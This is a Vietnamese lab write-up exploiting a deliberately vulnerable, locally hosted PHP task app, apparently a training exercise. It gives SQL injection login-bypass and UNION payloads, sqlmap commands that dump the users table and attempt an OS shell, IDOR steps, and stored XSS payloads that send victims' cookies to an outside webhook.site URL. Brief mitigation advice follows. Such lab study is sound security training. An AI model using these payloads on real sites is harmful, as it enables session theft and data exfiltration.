---
# System prepended metadata

title: Setup project
tags: [BlueCyber]

---

# Setup project
## Download project

```git
# khởi tạo một Git repository
git init
# kích hoạt tính năng sparse-checkout
git sparse-checkout init
# Thêm đường dẫn của thư mục bạn muốn sao chép:
git sparse-checkout set task_1
# Cuối cùng, sao chép (clone) repository từ GitHub:
git remote add -f origin https://github.com/user/repository.git
git pull origin main
```

## Run project

- vào thư mục có file **docker-compose.yml**

![image](https://hackmd.io/_uploads/B1hzFCrGR.png)

- Mở terminal chạy ```docker-compose up``` 
- đợi cho đến khi database báo **ready for connections**

![image](https://hackmd.io/_uploads/HySTX0rfC.png)

- truy cập trang web tại ```127.0.0.1:24001```

![image](https://hackmd.io/_uploads/SJTjiCrGC.png)



![image](https://hackmd.io/_uploads/HyT2hAHfA.png)



- đã có 2 tài khoản được tạo sẵn là:
    - ```cuong:12345678```
    - ```admin:987654321```
    
- có trang đăng ký tài khoản

![image](https://hackmd.io/_uploads/SyRAhCHz0.png)

- trang chính: 

![image](https://hackmd.io/_uploads/Hk1FTCBGR.png)

## Exploit

### SQL injection

1. Bypass login

- trang login bị lỗi SQLi
- đoạn code không validate mà chuyền thẳng data user nhập từ form login và câu query đến database

![image](https://hackmd.io/_uploads/BJw3t797R.png)

- mình có thể đăng nhập với user ```admin``` mà không cần mật khẩu 


![image](https://hackmd.io/_uploads/SJBXvOYQC.png)


![image](https://hackmd.io/_uploads/HJHyPdtQ0.png)

- trong trường hợp không biết username của các user mình thay đổi các giá trị ```limit 0,1 và 1,1``` để lấy giá trị đầu tiên và thứ 2 trong bảng users và có thể đăng nhập được vào user ```admin``` và user ```cuong```


![image](https://hackmd.io/_uploads/rJx5sX5Q0.png)

![image](https://hackmd.io/_uploads/HyujiQq7C.png)



![image](https://hackmd.io/_uploads/SJEV2XcQC.png)

- có thể xác định được số cột của table user với câu lệnh UNION


![image](https://hackmd.io/_uploads/rJ-Ba79QA.png)

```admin' UNION SELECT NULL, NULL, NULL -- -``` cho thấu table chứa username và password có 3 cột

![image](https://hackmd.io/_uploads/rkpdT797A.png)

- dùng sqlmap với payload: 

```sql
sqlmap -u "http://192.168.0.67:24001/login.php" --cookie "PHPSESSID=640f609494f155927347e2bf8692348b" --data "username=*&password=*&login=Submit" --threads=10  --risk=3 --level=5 --dbms=MySQL  --batch --proxy=http://192.168.0.67:8888
```

![image](https://hackmd.io/_uploads/BkKC-cTmR.png)

- có thể tấn công với UNION và timebase

![image](https://hackmd.io/_uploads/r1cvz5amC.png)


2. Leak data

- chức năng add task và delete task cũng bị SQLi



![image](https://hackmd.io/_uploads/ry52479XA.png)


- với chức năng add task mình dùng sqlmap với payload sau để quét:

```sql
sqlmap -u "http://192.168.1.58:24001/create.php" --cookie "PHPSESSID=2fa4c8bd1cbfe9a41046e33c2a2b0ac5" --data "session_id=*&title=*" --batch --threads=10  --risk=3 --level=5 --dbms=MySQL
```

![image](https://hackmd.io/_uploads/BkQab75X0.png)

- để ý log thấy bắn ra điên cuồng :)))

![image](https://hackmd.io/_uploads/HJDWuAcXR.png)



- chức năng add task có thể tận dụng để thực hiện lỗi error-base và time-base SQLi

![image](https://hackmd.io/_uploads/B1IxGX97A.png)

- tiếp theo mình tìm các table trong database hiện tại với payload:

```sql
sqlmap -u "http://192.168.1.58:24001/create.php" --cookie "PHPSESSID=2fa4c8bd1cbfe9a41046e33c2a2b0ac5" --data "session_id=*&title=*" --batch --threads=10  --risk=3 --level=5 --dbms=MySQL --tables
```

![image](https://hackmd.io/_uploads/SJjPMX5XC.png)

- có 2 table là ```user_task``` và ```users```
- tiếp đến mình xem thông tin các cột của table ```users``` với payload:

```sql
sqlmap -u "http://192.168.1.58:24001/create.php" --cookie "PHPSESSID=2fa4c8bd1cbfe9a41046e33c2a2b0ac5" --data "session_id=*&title=*" --batch --threads=10  --risk=3 --level=5 --dbms=MySQL -T users --columns
```

![image](https://hackmd.io/_uploads/B1tjMQqQA.png)

- cuối cùng mình dump toàn bộ dữ liệu trong table ```users```


```sql
sqlmap -u "http://192.168.1.58:24001/create.php" --cookie "PHPSESSID=2fa4c8bd1cbfe9a41046e33c2a2b0ac5" --data "session_id=*&title=*" --batch --threads=10  --risk=3 --level=5 --dbms=MySQL -T users --dump 
```

![image](https://hackmd.io/_uploads/rJ1lXmqmA.png)

- tương tự với chức năng add task chức năng delete task cũng bị SQLi

![image](https://hackmd.io/_uploads/ryrAVQcQA.png)

- với chức năng delete task mình dùng sqlmap với payload sau để quét:

```sql
sqlmap -u "http://192.168.1.58:24001/delete.php?task_id=11&user_id=9" --cookie "PHPSESSID=2fa4c8bd1cbfe9a41046e33c2a2b0ac5"  --batch --threads=10  --risk=3 --level=5 --dbms=MySQL
```

![image](https://hackmd.io/_uploads/rJpMV79Q0.png)

- chức năng delete task có thể tận dụng để thực hiện lỗi error-base, boolean-base và time-base SQLi

- và tương tự mình có thể dump được toàn bộ data trong table ```users```


```sql
sqlmap -u "http://192.168.1.58:24001/delete.php?task_id=11&user_id=9" --cookie "PHPSESSID=2fa4c8bd1cbfe9a41046e33c2a2b0ac5"  --batch --threads=10  --risk=3 --level=5 --dbms=MySQL -T users --dump
```

![image](https://hackmd.io/_uploads/Hk8kBQ970.png)

- xem các request được tạo trên burp suit với lệnh 

```sql
sqlmap -u "http://192.168.0.67:24001/delete.php?task_id=11&user_id=9" --cookie "PHPSESSID=ee619f17cc8cefeeb32083092f08957b" --data "session_id=*&title=*" --threads=10  --risk=3 --level=5 --dbms=MySQL -T users --columns   --batch --proxy=http://192.168.0.67:8888
```

![image](https://hackmd.io/_uploads/SkXC3KTXA.png)

- với lệnh sau để RCE

```sql
sqlmap -u "http://192.168.0.67:24001/create.php" --cookie "PHPSESSID=ee619f17cc8cefeeb32083092f08957b" --data "session_id=*&title=*" --threads=10  --risk=3 --level=5 --dbms=MySQL --file-read "var/www/html/index.php" --batch --os-shell
```

![image](https://hackmd.io/_uploads/HyNKetpQ0.png)

1. Tài liệu gốc của máy chủ web và đường dẫn tuyệt đối:

    - Thư mục gốc của máy chủ web là ```/var/www```.
    - Đường dẫn tuyệt đối đến một tệp là ```/var/www/html/create.php```.
2. Các nỗ lực tải lên và vấn đề gặp phải:

    - sqlmap đã cố gắng tải một file stager lên thư mục ```/var/www/``` và ```/var/www/html/``` bằng phương pháp LIMIT 'LINES TERMINATED BY', nhưng gặp phải lỗi "Access denied".
    - Công cụ cũng phát hiện các lỗi HTTP 404 (Not Found) 7 lần, có nghĩa là một số trang hoặc tài nguyên mà nó cố gắng truy cập không tồn tại.

- dùng lệnh sau để hiện chi tiết các gói tin sqlmap gửi đi 

```sql
sqlmap -u "http://192.168.0.67:24001/create.php" --cookie "PHPSESSID=ee619f17cc8cefeeb32083092f08957b" --data "session_id=*&title=*" --threads=10  --risk=3 --level=5 --dbms=MySQL --file-read "var/www/html/index.php" --batch --os-shell -v6
```



![image](https://hackmd.io/_uploads/S12jEY6X0.png)

- Phát hiện quá nhiều mã lỗi HTTP 4xx và/hoặc 5xx mà cụ thể ở đây là 404

![image](https://hackmd.io/_uploads/rkbgStpX0.png)

![image](https://hackmd.io/_uploads/SJLSaKp7R.png)

- khai thác tay cho thấy không có quyền ghi ouput vào file rce.php


![image](https://hackmd.io/_uploads/ry6K9qTQR.png)

- khi mình sửa lại truy vấn database với user root thì cần quyền ghi file vào thư mục ```/var/www/html```

![image](https://hackmd.io/_uploads/HJr__6RmC.png)

![image](https://hackmd.io/_uploads/HJh2YJyNA.png)


- có thể xem thêm khai thác SQLi <a href='https://hackmd.io/@monstercuong7/ByjK93F9a'>tại đây</a>

để hạn chế lỗi này: 
- dùng hàm preparestatement để tham sô hóa đầu vào 
```php
$stmt = mysqli->prepare("select user_id from users where user_name= ? and password= ?");
$stmt->bindParam("ss",$username,$pass);
$stmt->execute();
```
- dùng hàm ```mysqli_real_escape_string``` để encode các ký tự đặc biệt 
```php
$username = mysqli_real_escape_string($con, $_POST["username"]);
$password = mysqli_real_escape_string($con, $_POST["password"]);

$query="select user_id from users where u.user_name='".$username."' and u.password='".md5($password)."' ";
```

### IDOR

- chức năng add task và xóa task bị lỗi IDOR
- trang web lấy ```session_id``` từ phía người dùng rồi chuyền vào câu lệnh truy vấn 

![image](https://hackmd.io/_uploads/BkUxvE570.png)

- attacker có thể thay đổi session_id này và có thể tạo task mới cho user tương ứng

- tạo task cho user admin


![image](https://hackmd.io/_uploads/S1EDuuF7A.png)


![image](https://hackmd.io/_uploads/HJdsOdFXA.png)


- tạo task cho user cuong

![image](https://hackmd.io/_uploads/ByXK_uYQA.png)


![image](https://hackmd.io/_uploads/H1KTduF7C.png)

- chức năng xóa task có chuyền parameter ```task_id``` và ```user_id``` mà người dùng có thể thay đổi được 
- user ```admin``` có thể xóa task của user ```cuong```


![image](https://hackmd.io/_uploads/H17OV49m0.png)


![image](https://hackmd.io/_uploads/ByScKdF70.png)


![image](https://hackmd.io/_uploads/HkpoF_tmR.png)


### Store XSS

- chức năng add task bị lỗi Store XSS

![image](https://hackmd.io/_uploads/Bk1qiutX0.png)

![image](https://hackmd.io/_uploads/SyRqsdYX0.png)

- có thể dùng ```webhook``` hoặc ```pipedream.com``` để bắt cookie của victim ạ


![image](https://hackmd.io/_uploads/SkuM6OKm0.png)

- Và sau khi load ảnh error thì sẽ gửi request đến webhook kèm cookie của nạn nhận với bất kì người dùng nào truy cập trang này


![image](https://hackmd.io/_uploads/Sk5gTOtm0.png)


![image](https://hackmd.io/_uploads/r14YTutXC.png)


![image](https://hackmd.io/_uploads/H1VNaOt7C.png)


- tương tự chức năng add task chức năng register cũng bị lỗi Store XSS 

```javascript
<img src=x onerror=fetch(`https://webhook.site/fa8c0082-9df4-495e-a331-0342f9ab2066?cookie=${document.cookie}`)>
    
<script>location.href="http://127.0.0.1:8000/memo?memo=hello"+document.cookie;</script>

```

![image](https://hackmd.io/_uploads/HJE52jFX0.png)

![image](https://hackmd.io/_uploads/ryTBhitmA.png)


![image](https://hackmd.io/_uploads/HkqB2oKX0.png)

- để hạn chế lỗi này: 
    - dùng hàm ```htmlspecialchars()```
### Code injection

![image](https://hackmd.io/_uploads/Hy0T3sYmA.png)

![image](https://hackmd.io/_uploads/rJCkasK70.png)



- nó không hoạt động vì 


![image](https://hackmd.io/_uploads/S1pzZR970.png)










